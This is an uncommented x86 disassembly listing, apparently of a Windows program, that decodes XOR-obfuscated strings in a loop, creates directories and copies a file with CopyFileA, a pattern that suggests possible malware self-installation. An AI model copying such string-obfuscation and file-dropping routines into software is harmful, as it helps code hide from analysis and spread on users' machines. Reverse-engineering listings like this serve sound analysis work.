call fcn.004029b0
test esi, esi
jne 0x415d1d
mov byte [edi], 1
jmp 0x415d55
lea ecx, [ebp - 0x7a4]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xe18]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0xe18]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xe18]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xb0
call fcn.004029b0
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0x110], 0x8d82a0b7
mov word [ebp - 0x10c], 0x9c8e
mov byte [ebp - 0x10a], 0xd1
movups xmmword [ebp - 0x109], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x110], al
inc ecx
cmp ecx, 0xe
jb 0x415d94
lea eax, [ebp - 0x110]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xe30]
mov byte [ebp - 0x102], 0
call fcn.00402a50
lea ecx, [ebp - 0xe30]
mov byte [ebp - 4], 0xba
call fcn.00402af0
push eax
lea edx, [ebp - 0x340]
lea ecx, [ebp - 0x1568]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xbb
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
lea ecx, [ebp - 0x1568]
mov bl, al
call fcn.004029b0
lea ecx, [ebp - 0xe30]
mov byte [ebp - 4], 0xb0
call fcn.004029b0
test bl, bl
je 0x415fef
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0x127], 0x8d82a0b7
mov word [ebp - 0x123], 0x9c8e
mov byte [ebp - 0x121], 0xd1
movups xmmword [ebp - 0x120], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x127], al
inc ecx
cmp ecx, 0xe
jb 0x415e50
lea eax, [ebp - 0x127]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xe48]
mov byte [ebp - 0x119], 0
call fcn.00402a50
lea ecx, [ebp - 0xe48]
mov byte [ebp - 4], 0xbc
call fcn.00402af0
push eax
lea edx, [ebp - 0x5c8]
lea ecx, [ebp - 0x78c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xe48]
mov byte [ebp - 4], 0xbe
call fcn.004029b0
lea ecx, [ebp - 0x78c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x415ee1
push 0
lea ecx, [ebp - 0x78c]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x415fe0
movaps xmm0, xmmword [0x543e50]
lea eax, [ebp - 0x78c]
sub esp, 0x18
mov dword [ebp - 0x13e], 0x8d82a0b7
mov ecx, esp
mov dword [ebp - 0x14], esp
mov word [ebp - 0x13a], 0x9c8e
xor bl, bl
mov byte [ebp - 0x138], 0xd1
push eax
movups xmmword [ebp - 0x137], xmm0
call fcn.0047faa0
mov byte [ebp - 4], 0xbf
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x13e], al
inc ecx
cmp ecx, 0xe
jb 0x415f25
lea eax, [ebp - 0x13e]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xe60]
mov byte [ebp - 0x130], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0xe60]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x340]
mov ecx, esi
call fcn.004838a0
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0xc1
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0xe60]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x415fa2
mov byte [edi], 1
jmp 0x415fda
lea ecx, [ebp - 0x78c]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xe78]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0xe78]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xe78]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x78c]
mov byte [ebp - 4], 0xb0
call fcn.004029b0
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x62c], xmm0
mov byte [ebp - 0x614], 0
xorps xmm0, xmm0
movq qword [ebp - 0x61c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x62c], al
inc ecx
cmp ecx, 0x10
jb 0x416011
lea eax, [ebp - 0x62c]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0xe90]
mov byte [ebp - 0x61c], 0
call fcn.00402a50
lea ecx, [ebp - 0xe90]
mov byte [ebp - 4], 0xc3
call fcn.00402af0
push eax
lea edx, [ebp - 0x340]
lea ecx, [ebp - 0x1580]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc4
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
lea ecx, [ebp - 0x1580]
mov bl, al
call fcn.004029b0
lea ecx, [ebp - 0xe90]
mov byte [ebp - 4], 0xb0
call fcn.004029b0
test bl, bl
je 0x416256
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x645], xmm0
mov byte [ebp - 0x62d], 0
xorps xmm0, xmm0
movq qword [ebp - 0x635], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x645], al
inc ecx
cmp ecx, 0x10
jb 0x4160c0
lea eax, [ebp - 0x645]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0xea8]
mov byte [ebp - 0x635], 0
call fcn.00402a50
lea ecx, [ebp - 0xea8]
mov byte [ebp - 4], 0xc5
call fcn.00402af0
push eax
lea edx, [ebp - 0x5c8]
lea ecx, [ebp - 0x75c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xea8]
mov byte [ebp - 4], 0xc7
call fcn.004029b0
lea ecx, [ebp - 0x75c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x416151
push 0
lea ecx, [ebp - 0x75c]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x41624b
movaps xmm0, xmmword [0x545c40]
lea eax, [ebp - 0x75c]
sub esp, 0x18
mov byte [ebp - 0x646], 0
movups xmmword [ebp - 0x65e], xmm0
mov dword [ebp - 0x14], esp
mov ecx, esp
xorps xmm0, xmm0
xor bl, bl
push eax
movq qword [ebp - 0x64e], xmm0
call fcn.0047faa0
mov byte [ebp - 4], 0xc8
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x65e], al
inc ecx
cmp ecx, 0x10
jb 0x416190
lea eax, [ebp - 0x65e]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0xec0]
mov byte [ebp - 0x64e], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0xec0]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x340]
mov ecx, esi
call fcn.004838a0
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0xca
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0xec0]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x41620d
mov byte [edi], 1
jmp 0x416245
lea ecx, [ebp - 0x75c]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xed8]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0xed8]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xed8]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x75c]
call fcn.004029b0
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x5c8]
mov byte [ebp - 4], 0xad
call fcn.004029b0
movaps xmm0, xmmword [0x545450]
xor ecx, ecx
movups xmmword [ebp - 0x69b], xmm0
mov dword [ebp - 0x68b], 0x9b9a939f
movaps xmm0, xmmword [0x543020]
movups xmmword [ebp - 0x687], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x69b], al
inc ecx
cmp ecx, 0x1b
jb 0x416293
lea eax, [ebp - 0x69b]
mov dword [0x5585c8], ecx
push eax
lea ecx, [ebp - 0xef0]
mov byte [ebp - 0x680], 0
call fcn.00402a50
lea ecx, [ebp - 0xef0]
mov byte [ebp - 4], 0xcc
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1598]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x8f0]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1598]
call fcn.004029b0
lea ecx, [ebp - 0xef0]
mov byte [ebp - 4], 0xd0
call fcn.004029b0
sub esp, 0x18
lea eax, [ebp - 0x8f0]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x4164ea
movaps xmm0, xmmword [0x543850]
xor ecx, ecx
mov word [ebp - 0x1f5], 0xa1b7
mov byte [ebp - 0x1f3], 0x98
movups xmmword [ebp - 0x1f2], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1f5], al
inc ecx
cmp ecx, 0xa
jb 0x416352
lea eax, [ebp - 0x1f5]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xf08]
mov byte [ebp - 0x1eb], 0
call fcn.00402a50
lea ecx, [ebp - 0xf08]
mov byte [ebp - 4], 0xd1
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x774]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xf08]
mov byte [ebp - 4], 0xd3
call fcn.004029b0
lea ecx, [ebp - 0x774]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x4163e0
push 0
lea ecx, [ebp - 0x774]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x4164db
movaps xmm0, xmmword [0x545b80]
xor ecx, ecx
movups xmmword [ebp - 0x570], xmm0
mov byte [ebp - 0x560], 0x8f
xorps xmm0, xmm0
mov byte [ebp - 0x557], 0
movq qword [ebp - 0x55f], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x570], al
inc ecx
cmp ecx, 0x11
jb 0x416410
lea eax, [ebp - 0x570]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0xf20]
mov byte [ebp - 0x55f], 0
call fcn.00402a50
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0xd4
call fcn.00402af0
push eax
lea edx, [ebp - 0x774]
lea ecx, [ebp - 0x13a0]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0x8f0]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0x13a0]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0xf20]
mov byte [ebp - 4], 0xd3
call fcn.004029b0
test esi, esi
je 0x4164a3
mov byte [edi], 1
jmp 0x4164db
lea ecx, [ebp - 0x774]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xf38]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0xf38]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xf38]
call fcn.004029b0
lea ecx, [ebp - 0x774]
mov byte [ebp - 4], 0xd0
call fcn.004029b0
movaps xmm0, xmmword [0x543fa0]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x49e], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xd6
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x49e], al
inc ecx
cmp ecx, 7
jb 0x416510
lea eax, [ebp - 0x49e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xf50]
mov byte [ebp - 0x497], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0xf50]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xd8
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf50]
call fcn.004029b0
movaps xmm0, xmmword [0x543de0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x3b8], 0xaf
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x3b7], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xd9
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3b8], al
inc ecx
cmp ecx, 8
jb 0x4165a5
lea eax, [ebp - 0x3b8]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xf68]
mov byte [ebp - 0x3b0], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0xf68]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xdb
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf68]
call fcn.004029b0
movaps xmm0, xmmword [0x543da0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x3c9], 0xaa
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x3c8], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xdc
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3c9], al
inc ecx
cmp ecx, 8
jb 0x416640
lea eax, [ebp - 0x3c9]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xf80]
mov byte [ebp - 0x3c1], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0xf80]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xde
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf80]
call fcn.004029b0
movaps xmm0, xmmword [0x543fc0]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x4de], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xdf
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4de], al
inc ecx
cmp ecx, 7
jb 0x4166d0
lea eax, [ebp - 0x4de]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xf98]
mov byte [ebp - 0x4d7], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xe0
lea ecx, [ebp - 0xf98]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xe1
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf98]
call fcn.004029b0
movaps xmm0, xmmword [0x543ae0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x3da], 0xaf
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x3d9], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xe2
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3da], al
inc ecx
cmp ecx, 8
jb 0x416765
lea eax, [ebp - 0x3da]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xfb0]
mov byte [ebp - 0x3d2], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0xfb0]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xe4
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xfb0]
call fcn.004029b0
movaps xmm0, xmmword [0x543cb0]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x208], 0x80ad
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x206], 0x82
movups xmmword [ebp - 0x205], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xe5
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 0xa
jb 0x416803
lea eax, [ebp - 0x208]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xfc8]
mov byte [ebp - 0x1fe], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xe6
lea ecx, [ebp - 0xfc8]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xe7
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xfc8]
call fcn.004029b0
sub esp, 0x18
mov dword [ebp - 0x24], 0x808c9ead
lea eax, [ebp + 8]
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
mov word [ebp - 0x20], 0x9f84
mov ecx, esp
movq qword [ebp - 0x1e], xmm0
push eax
mov byte [ebp - 0x16], 0
call fcn.0047faa0
mov byte [ebp - 4], 0xe8
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 6
jb 0x4168a0
lea eax, [ebp - 0x24]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0xfe0]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
lea ecx, [ebp - 0xfe0]
call fcn.00402af0
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0xea
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4168f0
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b20
mov byte [ebp - 4], 0xe9
mov ecx, edi
mov byte [ebp - 4], 0xeb
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xfe0]
call fcn.004029b0
movaps xmm0, xmmword [0x543db0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x3eb], 0xad
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x3ea], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xec
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3eb], al
inc ecx
cmp ecx, 8
jb 0x416950
lea eax, [ebp - 0x3eb]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0xff8]
mov byte [ebp - 0x3e3], 0
call fcn.00402a50
lea ecx, [ebp - 0xff8]
call fcn.00402af0
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0xee
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4169a8
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b20
mov byte [ebp - 4], 0xed
mov ecx, edi
mov byte [ebp - 4], 0xef
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xff8]
call fcn.004029b0
movaps xmm0, xmmword [0x5441b0]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0xb4], 0x8a8183ac
mov ecx, esp
mov dword [ebp - 0x14], esp
mov word [ebp - 0xb0], 0x9fac
mov byte [ebp - 0xae], 0x98
push eax
movups xmmword [ebp - 0xad], xmm0
call fcn.0047faa0
mov byte [ebp - 4], 0xf0
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xb4], al
inc ecx
cmp ecx, 0xe
jb 0x416a20
lea eax, [ebp - 0xb4]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x1010]
mov byte [ebp - 0xa6], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xf1
lea ecx, [ebp - 0x1010]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xf2
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1010]
call fcn.004029b0
sub esp, 0x18
mov dword [ebp - 0x33], 0x81aea3a2
lea eax, [ebp + 8]
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
mov word [ebp - 0x2f], 0x9e86
mov ecx, esp
movq qword [ebp - 0x2d], xmm0
push eax
mov byte [ebp - 0x25], 0
call fcn.0047faa0
mov byte [ebp - 4], 0xf3
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 6
jb 0x416ac0
lea eax, [ebp - 0x33]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x1028]
mov byte [ebp - 0x2d], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xf4
lea ecx, [ebp - 0x1028]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xf5
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1028]
call fcn.004029b0
movaps xmm0, xmmword [0x543c00]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x194], 0x878b82a2
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x190], 0x81
movups xmmword [ebp - 0x18f], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xf6
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x194], al
inc ecx
cmp ecx, 0xc
jb 0x416b60
lea eax, [ebp - 0x194]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x1040]
mov byte [ebp - 0x188], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xf7
lea ecx, [ebp - 0x1040]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xf8
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1040]
call fcn.004029b0
sub esp, 0x18
mov dword [ebp - 0x42], 0x818e94a2
lea eax, [ebp + 8]
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
mov word [ebp - 0x3e], 0x9e86
mov ecx, esp
movq qword [ebp - 0x3c], xmm0
push eax
mov byte [ebp - 0x34], 0
call fcn.0047faa0
mov byte [ebp - 4], 0xf9
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 6
jb 0x416c00
lea eax, [ebp - 0x42]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x1058]
mov byte [ebp - 0x3c], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xfa
lea ecx, [ebp - 0x1058]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xfb
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1058]
call fcn.004029b0
movaps xmm0, xmmword [0x543e00]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x385], 0xa6
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x384], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xfc
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x385], al
inc ecx
cmp ecx, 8
jb 0x416c90
lea eax, [ebp - 0x385]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x1070]
mov byte [ebp - 0x37d], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xfd
lea ecx, [ebp - 0x1070]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 0xfe
call fcn.004122d0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1070]
call fcn.004029b0
movaps xmm0, xmmword [0x543f90]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x4be], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0xff
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4be], al
inc ecx
cmp ecx, 7
jb 0x416d20
lea eax, [ebp - 0x4be]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1088]
mov byte [ebp - 0x4b7], 0
call fcn.00402a50
sub esp, 0x18
mov dword [ebp - 4], 0x100
lea ecx, [ebp - 0x1088]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x1088]
call fcn.004029b0
movaps xmm0, xmmword [0x543dd0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x40d], 0xa5
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x40c], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x102
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x40d], al
inc ecx
cmp ecx, 8
jb 0x416dc0
lea eax, [ebp - 0x40d]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 0x405], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x10a0]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
mov ecx, edi
mov byte [ebp - 4], 4
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10a0]
call fcn.004029b0
movaps xmm0, xmmword [0x543e90]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x315], 0x9ebb
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x313], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x105
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x315], al
inc ecx
cmp ecx, 9
jb 0x416e60
lea eax, [ebp - 0x315]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 0x30c], 0
call fcn.00402a50
lea ecx, [ebp - 0x10b8]
call fcn.00402af0
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 7
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416eb8
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b20
mov byte [ebp - 4], 6
mov ecx, edi
mov byte [ebp - 4], 8
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10b8]
call fcn.004029b0
movaps xmm0, xmmword [0x543ea0]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x327], 0x89bf
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x325], xmm0
push eax
call fcn.0047faa0
mov dword [ebp - 4], 0x109
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x327], al
inc ecx
cmp ecx, 9
jb 0x416f20
lea eax, [ebp - 0x327]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x10d0]
mov byte [ebp - 0x31e], 0
call fcn.00402a50
lea ecx, [ebp - 0x10d0]
call fcn.00402af0
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0xb
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416f78
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b20
mov byte [ebp - 4], 0xa
mov ecx, edi
mov byte [ebp - 4], 0xc
call fcn.004122d0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10d0]
call fcn.004029b0
sub esp, 0x18
mov dword [ebp - 0x51], 0x81aeadb2
lea eax, [ebp + 8]
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
mov word [ebp - 0x4d], 0x9e86
mov ecx, esp
